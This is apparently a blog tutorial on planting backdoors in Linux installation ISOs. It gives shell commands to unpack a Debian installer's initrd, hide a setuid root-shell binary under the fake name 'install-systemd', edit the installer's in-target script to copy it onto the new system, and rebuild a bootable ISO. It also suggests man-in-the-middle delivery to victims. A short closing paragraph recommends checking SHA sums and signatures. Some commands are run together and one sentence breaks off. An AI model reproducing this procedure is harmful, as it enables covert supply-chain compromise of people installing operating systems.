Recently, for purely academic reasons, I had a need to create a script that would allow me to easily backdoor installation ISOs, the kind of ISOs you would find for UNIX/Linux-based distributions. I wanted something that could arbitrarily install any backdoor and evade detection, which is already easy enough since most users place trust in a freshly downloaded ISO. That is, unless they eagerly check the SHA sums, GPG signatures, or GPG-signed SHA sums (like they should).
Note that while this is most practical when users are downloading ISOs from a trusted, local "datastore" that can be modified by an adversary or from a clone of a legitimate download website, it can also be made applicable to real-time plain HTTP downloads in shared networking situations with the use of a MitM attack. Tools like Backdoor Factory Proxy already exist to do this on-the-fly with executables. It would be trivial to plug in my script to this sort of thing (and I just might someday).
So, you've got an ISO downloaded; how do you backdoor it? The process is fairly similar for most things, however there can be some differences. Let's pick on a Debian install ISO here; the same Debian install scripts are used as the foundation for the installation scripts of Ubuntu Server (Ubuntu desktop used a slightly different scheme), Kali Linux, their derivatives, and probably many others. We can start by mounting the ISO as a loop device so we can read the files like any other file on the filesystem.
mount -o loop iso-to-backdoor.iso /mnt
Great, it's mounted. However, loop devices are read-only, and we are going to need to modify the contents. Copy the files over somewhere else so we can manipulate them.
mkdir /tmp/linux-iso tar cf - . 2>/dev/null | (cd /tmp/linux-iso; tar xfp - 2>/dev/null)
At this point, we don't need that loop mount anymore, so it can be unmounted with
# umount /mnt.
Next, we need to decompress the installer initrd, or initial ramdisk (to get technical: even though the filename is
initrd.gz, it is actually the initramfs scheme that is used instead
of initrd nowadays). The ramdisk contains the installer's filesystem that will be loaded into RAM. The RAM looks like a typical
Linux filesystem and contains all the binaries, files, etc. that the installer needs to function. This is the part that will vary by distribution.
At time of writing, Debian used a gzipped initrd, and Ubuntu provided either a gzipped or lzma'd initrd using casper.
Since we are dealing with Debian, the initrd is located in
cd /tmp/linux-iso/install.amd gunzip initrd.gz
The ramdisk is a cpio ("copy in and out") archive, and the
cpio utility is needed to extract it.
mkdir tmp && cd tmp cpio -id < ../initrd ls
Cool! What we are looking at now is the root filesystem of the installer.
But what to do now? Here's the fun, open-ended part; we can do plenty of malicious things here. Let's say you want to plant a setuid binary on the system, one that gives a low-privileged user a root shell. The files will need to be copied to somewhere within the initrd so that we can later call upon the installer to place them on the freshly-installed system. Really, they can be copied anywhere, but we'll keep it simple (predictable). For example, from that same directory:
cp /home/luser/setuid-shell bin/install-systemd
If you didn't figure it out,
install-systemd is not a real binary (that I know of). I am just naming it that here to make the binary sound legitimate, even if the user sees it on their
system. There are obviously better ways of hiding things on 'nix systems, but I will not detail those here. Generally, if I want to hide something in plain sight,
systemd can be a useful scapegoat since nobody seems to want to touch it. Anyway, this is just one example of something you could plant; there are endless possibilities.
Now that our setuid-shell is planted on the installer's ramdisk, we still have to make sure it gets copied over to the newly installed system during install. In the maze of scripts that are run by the installer,
there are probably infinitely many places to put this, but one that seemed easy to work with was
/bin/in-target. This script is called after the target system has been mostly installed,
so it is a useful time to copy our backdoors over. I noticed that this file seemed to be run multiple times during the install, so I used a conditional to ensure it only runs once; the file new
was created by simply
touching bin/new on the initrd. In this script, we just need to copy the files from the ramdisk to the target system:
if [ -e "/bin/new" ]; then cp /bin/install-systemd /target/bin/install-systemd rm /bin/new fi
The above can be placed anywhere in the file as long as it precedes the conditional exit statements. That's it! Now to reassemble the cpio archive.
find . | cpio --create --format='newc' > ../newinitrd cd .. gzip newinitrd && mv newinitrd.gz initrd.gz rm -rf tmp cd ..
There was also a list containing md5sums of everything, including the initrd, in
md5sum.txt. I didn't do any research to see if it mattered, but I recomputed the md5sum of
The final step is to create a bootable ISO containing the original stuff as well as our modified ramdisk. This command may differ depending on what the ISO is.
genisoimage -v -R -J -no-emul-boot -b isolinux/isolinux.bin -boot-load-size 4 -boot-info-table -c isolinux/boot.cat -V "$V" -o backdoored-iso.iso /tmp/linux-iso rm -rf /tmp/linux-iso
Having written the script months ago, I honestly do not remember why I set the
-V parameter of
$V, a variable which is not set anywhere, but I'm fairly certain it worked this way. If not, the
-V option can be manually
set to the volume label of the original ISO. This needs to be set correctly in order for it to boot.
Now, the ISO is backdoored and ready for install! When this ISO is used for an install, the backdoors will be planted, unbeknownst to the victim who believes that they just installed a clean system.
Of course, this could be tweaked to target other distributions as well, e.g. the Fedora family. I have also had success against the pfSense installer using a modified version of this script. As I mentioned, the backdoor planted here is rather rudimentary, and there are endless possibilities for backdoors to be planted during an install ranging from backdoored executables and libraries, kernel rootkits, and compromised bootloaders. This level of access completely violates any assurance of integrity on the system whatsoever and goes beyond the scope of a standard threat model. That being said, it is fairly easy to mitigate this kind of attack in most cases. An on-the-fly download hijacking can be foiled by properly configured HTTPS. Even with HTTPS, the proactive validation of SHA sums and/or cryptographic signatures should be performed.
If nothing else, I hope you learned to check those SHA sums!